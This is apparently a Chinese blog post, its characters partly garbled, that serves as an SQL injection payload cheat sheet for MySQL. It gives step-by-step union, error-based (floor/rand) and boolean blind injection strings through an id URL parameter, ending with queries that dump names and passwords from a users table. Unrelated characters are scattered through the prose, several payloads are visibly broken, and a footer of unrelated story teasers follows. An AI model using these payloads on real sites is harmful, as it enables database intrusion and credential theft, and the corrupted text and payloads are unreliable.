二策精、 sql注入的類別特性及對(duì)應(yīng)payload

注: 以下payload均基于單引號(hào)字符型注入。若是整型注入崇棠,需將單引號(hào)與后面的注釋符(--+)都去掉咽袜;若是雙引號(hào)注入,需將單引號(hào)改為雙引號(hào)枕稀。

可聯(lián)合查詢注入

使用情景:頁(yè)面有顯示位询刹。
優(yōu)點(diǎn):語(yǔ)句簡(jiǎn)單,快速萎坷。
缺點(diǎn):條件苛刻凹联。

原理:通過(guò)顯示位,直接爆出所查信息哆档。

1.判斷當(dāng)前數(shù)據(jù)表中有幾列:
?id=1' order by 數(shù)值 --+
2.查看顯示位在第幾列(這里假設(shè)共有3列):
?id=-1' union select 1,2,3 --+
3.顯示當(dāng)前數(shù)據(jù)庫(kù)(假設(shè)顯示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查詢當(dāng)前數(shù)據(jù)庫(kù)的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查詢所有數(shù)據(jù)庫(kù) :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查詢某個(gè)數(shù)據(jù)庫(kù)中的表 (此例為 db1 數(shù)據(jù)庫(kù)):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查詢某個(gè)表中的所有字段 (此例為 message數(shù)據(jù)庫(kù)中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查詢某個(gè)表中的字段內(nèi)容(此例為 message數(shù)據(jù)庫(kù)中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

報(bào)錯(cuò)型注入(常存在 部署于開發(fā)環(huán)境的)

使用情景:服務(wù)器開著蔽挠,有mysql_error()的報(bào)錯(cuò)信息,但是沒(méi)有顯示位瓜浸。
優(yōu)點(diǎn):沒(méi)顯示位也可用象泵,快速。
缺點(diǎn):語(yǔ)句復(fù)雜斟叼。

原理:根據(jù)詳細(xì)的報(bào)錯(cuò)信息〈菏伲可以查看到數(shù)據(jù)庫(kù)中的所有內(nèi)容朗涩。

floor 類型
固定格式:(星號(hào)位置替換為查詢語(yǔ)句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆數(shù)據(jù)庫(kù):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
小提示:由于報(bào)錯(cuò)信息每次只能顯示1行,所以此處使用limit绑改,通過(guò)修改limit后的第一個(gè)數(shù)值谢床,可依次爆出所有內(nèi)容。下同厘线。
2.爆表名(此例為message數(shù)據(jù)庫(kù)):
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例為message數(shù)據(jù)庫(kù)的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
4.爆內(nèi)容(此例為message數(shù)據(jù)庫(kù)的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+

布爾類型注入sql盲注

優(yōu)點(diǎn):通用性強(qiáng)识腿,可以沒(méi)有顯示位,可以沒(méi)有報(bào)錯(cuò)信息
缺點(diǎn):慢造壮。

原理:根據(jù)返回頁(yè)面是否正常渡讼,判斷值的范圍,通過(guò)二分法最終確定具體的值

使用到的函數(shù):
exists() 查詢至少返回一條數(shù)據(jù)
返回:true or false
ascii() 返回一個(gè)字符串最左邊ascii碼的值
substr() 三個(gè)參數(shù)耳璧,一:字符串成箫,二:開始位置,三:長(zhǎng)度 mysql中開始位置從1開始旨枯。
length() 計(jì)算長(zhǎng)度函數(shù)

payload:
1.查詢所有數(shù)據(jù)庫(kù)

  1. 查詢數(shù)據(jù)庫(kù)個(gè)數(shù):
    ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
    77為隨意輸入數(shù)字蹬昌,可通過(guò)二分法確定最終值。下同攀隔。
  2. 查詢某一個(gè)數(shù)據(jù)庫(kù)的長(zhǎng)度:
    ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
    3)查看某個(gè)數(shù)據(jù)庫(kù)名:
    ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
    通過(guò)改變limit與substr的值皂贩,依次查看每一個(gè)字符

2.查詢某個(gè)數(shù)據(jù)庫(kù)的所有表
1)查詢表的個(gè)數(shù) (此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某個(gè)表名的長(zhǎng)度(此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某個(gè)表名(此例為message數(shù)據(jù)庫(kù)中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值栖榨,依次查看每一個(gè)字符

3.查詢某個(gè)表中的所有字段
1)表中字段的個(gè)數(shù)(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某個(gè)字段名的長(zhǎng)度(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某個(gè)字段名(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值,依次查看每一個(gè)字符

4.查看內(nèi)容
1)查看表中的行數(shù)(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某個(gè)字段對(duì)應(yīng)內(nèi)容的長(zhǎng)度(此例中為message數(shù)據(jù)庫(kù)中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某個(gè)字段名對(duì)應(yīng)內(nèi)容(此例中為message數(shù)據(jù)庫(kù)中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通過(guò)改變limit與substr的值明刷,依次查看每一個(gè)字符

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末婴栽,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子遮精,更是在濱河造成了極大的恐慌居夹,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,252評(píng)論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件本冲,死亡現(xiàn)場(chǎng)離奇詭異准脂,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)檬洞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門狸膏,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人添怔,你說(shuō)我怎么就攤上這事湾戳。” “怎么了广料?”我有些...
    開封第一講書人閱讀 168,814評(píng)論 0 361
  • 文/不壞的土叔 我叫張陵砾脑,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我艾杏,道長(zhǎng)韧衣,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,869評(píng)論 1 299
  • 正文 為了忘掉前任购桑,我火速辦了婚禮畅铭,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘勃蜘。我一直安慰自己硕噩,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,888評(píng)論 6 398
  • 文/花漫 我一把揭開白布缭贡。 她就那樣靜靜地躺著炉擅,像睡著了一般。 火紅的嫁衣襯著肌膚如雪匀归。 梳的紋絲不亂的頭發(fā)上坑资,一...
    開封第一講書人閱讀 52,475評(píng)論 1 312
  • 那天,我揣著相機(jī)與錄音穆端,去河邊找鬼袱贮。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的攒巍。 我是一名探鬼主播嗽仪,決...
    沈念sama閱讀 41,010評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼柒莉!你這毒婦竟也來(lái)了闻坚?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,924評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤兢孝,失蹤者是張志新(化名)和其女友劉穎窿凤,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體跨蟹,經(jīng)...
    沈念sama閱讀 46,469評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡雳殊,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,552評(píng)論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了窗轩。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片夯秃。...
    茶點(diǎn)故事閱讀 40,680評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖痢艺,靈堂內(nèi)的尸體忽然破棺而出仓洼,到底是詐尸還是另有隱情,我是刑警寧澤堤舒,帶...
    沈念sama閱讀 36,362評(píng)論 5 351
  • 正文 年R本政府宣布色建,位于F島的核電站,受9級(jí)特大地震影響舌缤,放射性物質(zhì)發(fā)生泄漏镀岛。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,037評(píng)論 3 335
  • 文/蒙蒙 一友驮、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧驾锰,春花似錦卸留、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至赏酥,卻和暖如春喳整,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背裸扶。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工框都, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人呵晨。 一個(gè)月前我還...
    沈念sama閱讀 49,099評(píng)論 3 378
  • 正文 我出身青樓魏保,卻偏偏與公主長(zhǎng)得像熬尺,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子谓罗,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,691評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容